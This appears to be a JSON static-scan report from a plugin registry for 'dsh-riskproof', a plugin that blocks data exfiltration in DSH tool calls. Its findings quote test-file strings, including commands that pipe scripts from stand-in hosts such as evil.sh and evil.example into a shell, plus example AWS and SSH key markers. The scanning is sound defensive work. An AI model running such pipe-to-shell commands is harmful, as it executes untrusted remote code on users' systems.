{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"onlyqzq-dsh-riskproof","slug":"onlyqzq-dsh-riskproof","rank":906,"url":"https://github.com/onlyqzq/dsh-riskproof","name":"onlyqzq/dsh-riskproof","category":"security","description":{"zh":"具备来源追踪能力的执行安全机制，可跨 DSH 工具调用持续追踪敏感数据，并在执行前阻断高风险的数据外泄行为。","en":"Provenance-aware execution security that tracks sensitive data across DSH tool calls and blocks risky exfiltration before execution."},"stars":2,"starsCheckedAt":"2026-08-21","repository":{"owner":"onlyqzq","repo":"dsh-riskproof","requestedRef":null,"subpath":""},"npm":"dsh-riskproof","downloads":169,"installMode":"npm","upstreamInstall":"dsh plugin --profile web add dsh-riskproof","tarball":null,"added":"2026-08-19","page":"https://awesome-dsh-plugin.com/p/onlyqzq/dsh-riskproof/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"onlyqzq-dsh-riskproof","slug":"onlyqzq-dsh-riskproof","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:29:47.514Z","scanStatus":"static-complete","verdict":"pass","score":100,"commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","commitDate":"2026-08-21T17:11:14+08:00","artifactDigest":"sha256:2259378986d55c6553bfc92d089a837e58eb0c0646c037547db42287f92fe886","downloadUrl":"https://github.com/onlyqzq/dsh-riskproof/archive/3fda8506fbc9d442ee635aae09e5c0070962e913.tar.gz","installMode":"npm","installCommand":"dsh plugin --profile web add dsh-riskproof","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"dsh-riskproof","packageVersion":"0.2.0","bundle":{"patch":"./cordis.patch.yml"},"client":null,"lifecycleScripts":{"prepare":"npm run build"},"peerDependencies":["@deepseek-ai/cordis","@deepseek-ai/dsh-agent","@deepseek-ai/dsh-tools","@deepseek-ai/schemastery"]},"identity":{"status":"found","installMode":"npm","upstreamNpm":"dsh-riskproof","manifestName":"dsh-riskproof","nameMatch":true,"npm":{"name":"dsh-riskproof","latestVersion":"0.2.0","publishedAt":"2026-08-21T09:24:59.795Z","createdAt":"2026-08-18T13:59:37.820Z","versionCount":2,"maintainers":1,"repository":"git+https://github.com/onlyqzq/dsh-riskproof.git","hasInstallScripts":false,"deprecated":false},"repositoryMatch":"match","provenance":"attested","tarballHost":null,"versionMatch":"match"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"riskproof","name":"dsh-riskproof","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":0,"clientPlatform":null,"parseErrors":[]},"capabilities":["agent-control","credentials","filesystem","host-bundle","mcp","subprocess","telemetry"],"outboundHosts":[],"findings":[{"id":"HT-INSTALL-002","title":"Git 安装会触发 prepare 构建脚本","severity":"medium","confidence":"low","layer":"supply-chain","path":"package.json","pathClass":"manifest","line":69,"evidence":"\"prepare\": \"npm run build\"","remediation":"发布预构建制品（npm 或 GitHub Release tarball），并记录源码与发布包的一致性证明。","note":"该插件以 npm/tarball 预构建方式分发，prepare 不在用户机器上执行","hash":"d28b218339321374f2793b3b"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"tests/unit/command-risk.test.ts","pathClass":"test-example-docs","line":17,"evidence":"curl -fsSL https://example.test/install.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"081c9605617ffcfc63141ead"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"tests/unit/engine.test.ts","pathClass":"test-example-docs","line":94,"evidence":"curl http://evil.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"b6208f361a8efe82cb3698b4"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"tests/unit/engine.test.ts","pathClass":"test-example-docs","line":241,"evidence":"curl -fsSL https://evil.example/install | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"29b9569a6c6bf373fc943725"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/unit/taint.test.ts","pathClass":"test-example-docs","line":23,"evidence":"AKIAIOSFODNN7EXAMPLE","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"4073bf12badaf5ac9ff27858"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/unit/taint.test.ts","pathClass":"test-example-docs","line":25,"evidence":"-----BEGIN OPENSSH PRIVATE KEY-----","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"位于测试、示例或文档目录","hash":"448492d4b949a3c2db6a4bac"}],"counts":{"critical":0,"high":0,"medium":0,"low":0},"rawCounts":{"critical":5,"high":0,"medium":1,"low":0},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"not-needed","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":71,"bytesScanned":360125,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":27,"markdown":17,"cordis":1,"data":3,"manifest":1,"source":22}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"]},"timeline":[{"scannedAt":"2026-08-22T08:29:47.514Z","commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","policyVersion":"HT-DSH-0.2.2","verdict":"pass","status":"static-complete"},{"scannedAt":"2026-08-21T11:34:09.727Z","commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","policyVersion":"HT-DSH-0.2.1","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T11:02:55.132Z","commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","policyVersion":"HT-DSH-0.2.0","verdict":"caution","status":"static-complete"}],"events":[{"kind":"verdict-change","from":"caution","to":"pass","commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:29:47.514Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:34:09.727Z"},{"kind":"first-scan","from":null,"to":"caution","commit":"3fda8506fbc9d442ee635aae09e5c0070962e913","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T11:02:55.132Z"}]}